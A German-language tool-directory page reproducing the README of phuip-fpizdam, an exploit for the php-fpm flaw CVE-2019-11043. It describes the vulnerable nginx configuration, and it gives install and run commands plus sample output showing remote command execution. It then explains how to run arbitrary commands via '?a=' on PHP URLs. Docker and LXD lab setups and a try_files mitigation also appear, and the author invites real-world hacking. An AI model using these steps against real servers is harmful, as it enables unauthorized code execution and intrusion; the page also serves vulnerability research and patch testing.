Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
phuip-fpizdam — Exploit für CVE-2019-11043 | Kitploit
Tools/GitHubGitHub/codehex083/phuip-fpizdam
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHubcodehex083/phuip-fpizdam

phuip-fpizdam

Exploit für CVE-2019-11043

Repository anzeigen
3vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PHuiP-FPizdaM

Was ist das?

Dies ist ein Exploit für einen Fehler in php-fpm (CVE-2019-11043). In bestimmten nginx + php-fpm-Konfigurationen ist der Fehler von außen auslösbar. Das bedeutet, dass ein Webnutzer Codeausführung erlangen kann, wenn Sie eine verwundbare Konfiguration haben (siehe unten).

Analyse

Während wir zu faul waren, eine Analyse zu schreiben, hat Orange Tsai eine perfekte Analyse in seinem Blog veröffentlicht. Respekt an ihn.

Außerdem sind meine Folien von der ZeroNights 2019 verfügbar.

Was ist verwundbar?

Wenn ein Webserver nginx + php-fpm betreibt und nginx eine Konfiguration wie die folgende hat

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

welche ebenfalls jegliche Prüfungen auf Skriptexistenz (wie try_files) vermissen lässt, dann können Sie es wahrscheinlich mit diesem Exploit hacken.

Die vollständige Liste der Voraussetzungen

  1. Nginx + php-fpm, location ~ [^/]\.php(/|$) muss an php-fpm weitergeleitet werden (vielleicht kann der reguläre Ausdruck strenger sein, siehe #1).
  2. Es muss eine Zuweisung der Variable PATH_INFO über die Anweisung fastcgi_param PATH_INFO $fastcgi_path_info; geben. Auch muss SCRIPT_FILENAME mit fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; gesetzt werden (es könnte ein konstanter Pfad anstelle von $document_root sein). Zuerst dachten wir, diese sind immer in der fastcgi_params-Datei vorhanden, aber das stimmt nicht.
  3. Es muss eine Möglichkeit geben, PATH_INFO auf einen leeren Wert zu setzen. Dieser Exploit geht davon aus, dass die Direktive fastcgi_split_path_info vorhanden ist und einen regulären Ausdruck enthält, der mit ^ beginnt und mit $ endet, und versucht daher, den regulären Ausdruck mit einem Zeilenumbruch zu durchbrechen.

Ist das nicht seit Jahren als verwundbar bekannt?

Vor langer Zeit schränkte php-fpm die Erweiterungen der Skripte nicht ein, was bedeutete, dass so etwas wie /avatar.png/some-fake-shit.php avatar.png als PHP-Skript ausführen konnte. Dieses Problem wurde um 2010 behoben.

Der aktuelle erfordert keinen Dateiupload, funktioniert in den neuesten Versionen (bis der Fix veröffentlicht wurde), und, am wichtigsten, der Exploit ist viel cooler.

Wie man es ausführt

Installieren Sie es mit

root@kitploit:~
go get github.com/neex/phuip-fpizdam

Wenn Sie seltsame Kompilierungsfehler erhalten, stellen Sie sicher, dass Sie go >= 1.13 verwenden. Führen Sie das Programm mit phuip-fpizdam [url] aus (vorausgesetzt, Sie haben $GOPATH/bin in Ihrem $PATH, andernfalls geben Sie den vollständigen Pfad zur Binärdatei an). Eine gute Ausgabe sieht so aus:

root@kitploit:~
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!

Danach können Sie beginnen, ?a=<Ihr Befehl> an alle PHP-Skripte anzuhängen (Sie müssen möglicherweise mehrere Versuche unternehmen).

Alternativ können Sie ein Docker-Image verwenden, um den Exploit auszuführen:

root@kitploit:~
docker run --rm ypereirareis/cve-2019-11043 [url]

Spielplatzumgebungen

Mit Docker

Wenn Sie das Problem reproduzieren oder lokal mit dem Exploit über Docker spielen möchten, gehen Sie wie folgt vor:

  1. Klonen Sie dieses Repository und gehen Sie in das Verzeichnis reproducer.
  2. Erstellen Sie das Docker-Image mit docker build -t reproduce-cve-2019-11043 .. Es dauert lange, da es intern das PHP-Repository klont und aus dem Quellcode erstellt. Dies wird jedoch einfacher sein, wenn Sie den Exploit debuggen möchten. Die erstellte Revision ist diejenige direkt vor dem Fix.
  3. Führen Sie Docker mit docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 aus.
  4. Jetzt haben Sie http://127.0.0.1:8080/script.php, eine leere Datei.
  5. Führen Sie den Exploit mit phuip-fpizdam http://127.0.0.1:8080/script.php aus.
  6. Wenn alles in Ordnung ist, können Sie Befehle ausführen, indem Sie ?a= an das Skript anhängen: http://127.0.0.1:8080/script.php?a=id. Versuchen Sie es mehrmals, da nur einige der php-fpm-Worker infiziert sind.

Mit LXD-Systemcontainern

Wenn Sie das Problem reproduzieren oder lokal mit dem Exploit über LXD spielen möchten, gehen Sie wie folgt vor:

  1. Erstellen Sie zwei Systemcontainer, vulnerable und attacker. Sie können das Container-Image ubuntu:18.04 für beide Container verwenden.
  2. Installieren Sie im Container vulnerable nginx und php-fpm. Konfigurieren Sie den Server-Block als diese Konfiguration. Erstellen Sie eine leere Datei /var/www/html/index.php.
  3. Installieren Sie im Container attacker die Go-Sprache (sudo snap install go --classic), klonen Sie dieses Repository und führen Sie go build im Verzeichnis des Repositorys aus.
  4. Führen Sie den Angriff wie folgt aus: ./phuip-fpizdam http://vulnerable.lxd/index.php. Versuchen Sie mehrere Typen, um alle php-fpm-Worker zu infizieren.

Für detailliertere Anweisungen siehe Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers.

Über PHP5

Der Pufferunterlauf in php-fpm ist in PHP Version 5 vorhanden. Allerdings nutzt dieser Exploit eine Optimierung zur Speicherung von FastCGI-Variablen, _fcgi_data_seg. Diese Optimierung ist nur in PHP 7 vorhanden, daher funktioniert dieser spezielle Exploit nur für PHP 7. Es könnte eine andere Ausnutzungstechnik geben, die in PHP 5 funktioniert.

Danksagungen

Ursprüngliche Anomalie entdeckt von d90pwn während der Real World CTF. Grundlegende Ursache gefunden von mir (Emil Lerner) sowie der Weg, php.ini-Optionen zu setzen. Der endgültige Satz von php.ini-Optionen wurde von beched gefunden.

Lizenz

Dieser Exploit wird unter den Bedingungen der MIT-Lizenz verteilt.

Unterlassen Sie es, mit diesem Exploit Schaden anzurichten. Aber wenn Sie wirklich etwas mit diesem Ding hacken, werde ich glücklich sein.

Tool herunterladen
  • Dieser spezielle Exploit geht davon aus, dass PATH_INFO nach REQUEST_URI in der Konfiguration gesetzt wird.
  • Keine Prüfungen auf Dateiexistenz wie try_files $uri =404 oder if (-f $uri). Wenn Nginx Anfragen an nicht vorhandene Skripte vor der FastCGI-Weiterleitung ablehnt, erreichen unsere Anfragen nie php-fpm. Dies hinzuzufügen ist auch der einfachste Weg, um zu patchen.
  • Dieser Exploit funktioniert nur für PHP 7+, aber der Fehler selbst ist in früheren Versionen vorhanden (siehe unten).